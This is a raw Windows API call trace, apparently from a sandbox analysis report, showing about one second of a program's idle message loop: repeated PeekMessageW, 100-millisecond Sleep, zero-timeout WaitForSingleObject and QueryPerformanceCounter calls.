[0149.251] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.252] Sleep (dwMilliseconds=0x64) [0149.266] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.266] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773672875) returned 1 [0149.266] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773673111) returned 1 [0149.267] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.268] Sleep (dwMilliseconds=0x64) [0149.283] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.283] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773728329) returned 1 [0149.283] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773728511) returned 1 [0149.283] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.284] Sleep (dwMilliseconds=0x64) [0149.298] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.298] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773781987) returned 1 [0149.298] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773782154) returned 1 [0149.299] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.299] Sleep (dwMilliseconds=0x64) [0149.313] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.313] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773833089) returned 1 [0149.313] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773833265) returned 1 [0149.314] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.314] Sleep (dwMilliseconds=0x64) [0149.329] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.329] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773886174) returned 1 [0149.329] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773886341) returned 1 [0149.329] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.330] Sleep (dwMilliseconds=0x64) [0149.344] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.344] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773938963) returned 1 [0149.344] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773939131) returned 1 [0149.345] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.345] Sleep (dwMilliseconds=0x64) [0149.360] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.360] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=773993600) returned 1 [0149.360] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=773993770) returned 1 [0149.361] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.361] Sleep (dwMilliseconds=0x64) [0149.376] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.376] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774046434) returned 1 [0149.376] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774046602) returned 1 [0149.376] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.377] Sleep (dwMilliseconds=0x64) [0149.392] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.392] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774101586) returned 1 [0149.392] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774101787) returned 1 [0149.392] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.393] Sleep (dwMilliseconds=0x64) [0149.407] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.407] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774152436) returned 1 [0149.407] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774152634) returned 1 [0149.407] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.408] Sleep (dwMilliseconds=0x64) [0149.422] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.422] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774205727) returned 1 [0149.422] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774205908) returned 1 [0149.423] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.423] Sleep (dwMilliseconds=0x64) [0149.438] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.438] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774258981) returned 1 [0149.438] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774259163) returned 1 [0149.438] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.439] Sleep (dwMilliseconds=0x64) [0149.464] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774348559) returned 1 [0149.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774348747) returned 1 [0149.465] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.465] Sleep (dwMilliseconds=0x64) [0149.469] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.469] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774365902) returned 1 [0149.469] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774366099) returned 1 [0149.470] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.470] Sleep (dwMilliseconds=0x64) [0149.507] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.507] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774493877) returned 1 [0149.507] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774494046) returned 1 [0149.507] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.508] Sleep (dwMilliseconds=0x64) [0149.516] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.516] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774525856) returned 1 [0149.516] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774526024) returned 1 [0149.517] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.517] Sleep (dwMilliseconds=0x64) [0149.531] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.532] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774579021) returned 1 [0149.532] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774579221) returned 1 [0149.532] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.533] Sleep (dwMilliseconds=0x64) [0149.547] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.547] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774632282) returned 1 [0149.547] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774632481) returned 1 [0149.548] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.548] Sleep (dwMilliseconds=0x64) [0149.563] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.563] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774685503) returned 1 [0149.563] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774685684) returned 1 [0149.563] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.564] Sleep (dwMilliseconds=0x64) [0149.578] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.578] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774739398) returned 1 [0149.579] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774739579) returned 1 [0149.579] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.580] Sleep (dwMilliseconds=0x64) [0149.594] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.595] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774794374) returned 1 [0149.595] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774794557) returned 1 [0149.595] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.596] Sleep (dwMilliseconds=0x64) [0149.610] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.610] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774847303) returned 1 [0149.610] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774847471) returned 1 [0149.611] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.611] Sleep (dwMilliseconds=0x64) [0149.625] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.625] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774899050) returned 1 [0149.625] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774899208) returned 1 [0149.626] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.626] Sleep (dwMilliseconds=0x64) [0149.641] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.641] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=774952175) returned 1 [0149.641] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=774952336) returned 1 [0149.641] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.642] Sleep (dwMilliseconds=0x64) [0149.657] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.657] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775008553) returned 1 [0149.657] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775008751) returned 1 [0149.658] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.658] Sleep (dwMilliseconds=0x64) [0149.672] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.672] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775058808) returned 1 [0149.672] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775059008) returned 1 [0149.672] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.673] Sleep (dwMilliseconds=0x64) [0149.687] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.687] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775111983) returned 1 [0149.688] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775112140) returned 1 [0149.688] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.688] Sleep (dwMilliseconds=0x64) [0149.703] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.703] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775165845) returned 1 [0149.703] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775166046) returned 1 [0149.704] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.704] Sleep (dwMilliseconds=0x64) [0149.719] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.719] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775221268) returned 1 [0149.719] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775221448) returned 1 [0149.720] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.721] Sleep (dwMilliseconds=0x64) [0149.736] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.736] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775278021) returned 1 [0149.736] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775278207) returned 1 [0149.737] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.737] Sleep (dwMilliseconds=0x64) [0149.750] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.750] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775325411) returned 1 [0149.750] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775325596) returned 1 [0149.750] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.751] Sleep (dwMilliseconds=0x64) [0149.782] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.782] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775435456) returned 1 [0149.782] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775435652) returned 1 [0149.783] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.784] Sleep (dwMilliseconds=0x64) [0149.797] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.797] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775485365) returned 1 [0149.797] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775485547) returned 1 [0149.797] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.798] Sleep (dwMilliseconds=0x64) [0149.812] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.812] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775538620) returned 1 [0149.812] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775538808) returned 1 [0149.813] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.813] Sleep (dwMilliseconds=0x64) [0149.830] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.830] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775597832) returned 1 [0149.830] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775598011) returned 1 [0149.830] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.831] Sleep (dwMilliseconds=0x64) [0149.844] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.844] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775645751) returned 1 [0149.844] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775645949) returned 1 [0149.844] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.845] Sleep (dwMilliseconds=0x64) [0149.859] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.859] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775698663) returned 1 [0149.859] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775698862) returned 1 [0149.860] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.860] Sleep (dwMilliseconds=0x64) [0149.878] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.878] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775762806) returned 1 [0149.878] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775762991) returned 1 [0149.878] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.879] Sleep (dwMilliseconds=0x64) [0149.890] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.890] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775805306) returned 1 [0149.890] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775805535) returned 1 [0149.891] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.891] Sleep (dwMilliseconds=0x64) [0149.906] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.906] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775858834) returned 1 [0149.906] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775859014) returned 1 [0149.907] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.907] Sleep (dwMilliseconds=0x64) [0149.921] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.922] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775912022) returned 1 [0149.922] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775912189) returned 1 [0149.922] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.923] Sleep (dwMilliseconds=0x64) [0149.938] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.938] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=775967141) returned 1 [0149.938] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=775967309) returned 1 [0149.938] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.939] Sleep (dwMilliseconds=0x64) [0149.953] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.953] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776018872) returned 1 [0149.953] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776019048) returned 1 [0149.953] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.954] Sleep (dwMilliseconds=0x64) [0149.968] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.969] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776072725) returned 1 [0149.969] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776072892) returned 1 [0149.969] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.970] Sleep (dwMilliseconds=0x64) [0149.984] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0149.984] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776125143) returned 1 [0149.984] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776125311) returned 1 [0149.984] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0149.985] Sleep (dwMilliseconds=0x64) [0150.002] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.002] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776188588) returned 1 [0150.002] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776188758) returned 1 [0150.003] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.004] Sleep (dwMilliseconds=0x64) [0150.015] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.015] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776232645) returned 1 [0150.015] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776232878) returned 1 [0150.016] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.016] Sleep (dwMilliseconds=0x64) [0150.031] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.031] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776285573) returned 1 [0150.031] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776285756) returned 1 [0150.031] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.032] Sleep (dwMilliseconds=0x64) [0150.047] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.047] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776340592) returned 1 [0150.047] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776340779) returned 1 [0150.048] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.048] Sleep (dwMilliseconds=0x64) [0150.062] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.062] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776391770) returned 1 [0150.062] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776391938) returned 1 